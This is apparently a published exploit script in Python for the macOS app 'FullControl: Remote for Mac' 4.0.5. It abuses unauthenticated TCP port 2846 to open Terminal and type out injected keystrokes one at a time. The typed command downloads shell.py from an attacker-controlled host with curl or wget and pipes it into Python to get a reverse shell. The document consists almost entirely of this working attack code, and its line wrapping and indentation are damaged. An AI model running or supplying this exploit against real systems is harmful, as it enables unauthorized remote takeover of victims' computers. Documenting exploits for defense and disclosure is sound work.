# Exploit Title: FullControl: Remote for Mac 4.0.5 - RCE V2
# Date: 01/08/2025
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://fullcontrol.cescobaz.com/
# Software Link:
https://apps.apple.com/us/app/fullcontrol-remote-for-mac/id347857890
# Version: 4.0.5
# Tested on: macOS 14.4 Sonoma
'''
Description:
"FullControl: Remote for Mac" v4.0.5 is vulnerable to unauthenticated RCE
via TCP port 2846. Attackers on the same network can send crafted packets
to simulate keyboard input, allowing command execution without user
interaction or authentication.
'''
import socket
import json
import time
import threading
import queue
import sys
HOST = '192.168.1.143'
PORT = 2846
LHOST = '192.168.1.63'
DEBUG = False
BAR_WIDTH = 50
NEGOTIATION_CMDS = [
'accessibilityAPIEnabled',
'protocol',
'API_level',
'fc',
'os',
'json2',
'version',
'fc',
'os',
'device',
'FullControl',
'4.2.0',
'4.2.0',
'26.0',
'Attacker',
]
reverse_shell = f'(curl -s http://{LHOST}/shell.py || wget -qO-
http://{LHOST}/shell.py)
| $(which python3 || which python)'
reverse_shell_payloads = []
for c in reverse_shell:
instr = "space" if c == " " else "return" if c == "\n" else c
reverse_shell_payloads.append(
f'{{"Class":"Command","Id":18,"Process":{{"Class":"Process","Pid":-1,"InFocus":0}},"Type":"keyboard","Instruction":"{instr}"}}'
)
reverse_shell_payloads.append(
'{"Class":"Command","Id":19,"Process":{"Class":"Process","Pid":-1,"InFocus":0},"Type":"keyboard","Instruction":"return"}'
)
def encode_slashes(s: str) -> str:
return s.replace('/', '\\u002f')
def recv_response(sock, timeout=2.0):
sock.settimeout(timeout)
try:
data = sock.recv(8192)
return data.decode(errors='ignore') if data else None
except socket.timeout:
return None
except Exception as e:
if DEBUG:
print(f"[!] Receive error: {e}")
return None
def draw_progress(current, total, label="Working"):
filled = int(BAR_WIDTH * current / total)
bar = '\u2588' * filled + '\u2591' * (BAR_WIDTH - filled)
percent = (current / total) * 100
sys.stdout.write(f"\r[{label}] |{bar}| {percent:.1f}%")
sys.stdout.flush()
def perform_negotiation(sock, total_counter, current_counter):
for cmd in NEGOTIATION_CMDS:
try:
sock.sendall(cmd.encode())
recv_response(sock)
current_counter[0] += 1
draw_progress(current_counter[0], total_counter)
time.sleep(0.2)
except Exception as e:
if DEBUG:
print(f"[!] Negotiation error: {e}")
continue
def send_launch_command(sock):
cmd = {
"Class": "Command",
"Id": 29,
"Type": "launch",
"Instruction": "/usr/bin/open -a Terminal"
}
json_cmd = json.dumps(cmd, separators=(',', ':'))
encoded_cmd = encode_slashes(json_cmd)
if DEBUG:
print(f"[>] Launch Terminal: {encoded_cmd}")
try:
sock.sendall(encoded_cmd.encode())
except Exception as e:
if DEBUG:
print(f"[!] Launch command error: {e}")
def send_keystrokes(sock, q, total_counter, current_counter):
while True:
try:
pkt = q.get(timeout=5)
if pkt is None:
break
sock.sendall(pkt.encode())
current_counter[0] += 1
draw_progress(current_counter[0], total_counter)
time.sleep(0.001)
except queue.Empty:
break
except Exception as e:
if DEBUG:
print(f"[!] Keystroke error: {e}")
continue
def main():
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((HOST, PORT))
total_packets = len(NEGOTIATION_CMDS) +
len(reverse_shell_payloads)
counter = [0]
perform_negotiation(s, total_packets, counter)
send_launch_command(s)
time.sleep(2)
q = queue.Queue()
for pkt in reverse_shell_payloads:
q.put(pkt)
q.put(None)
send_keystrokes(s, q, total_packets, counter)
time.sleep(2)
print("\n[✓] Exploit delivered. Reverse shell should connect
back.")
except Exception as e:
print(f"\n[!] Main error: {e}")
if __name__ == '__main__':
main()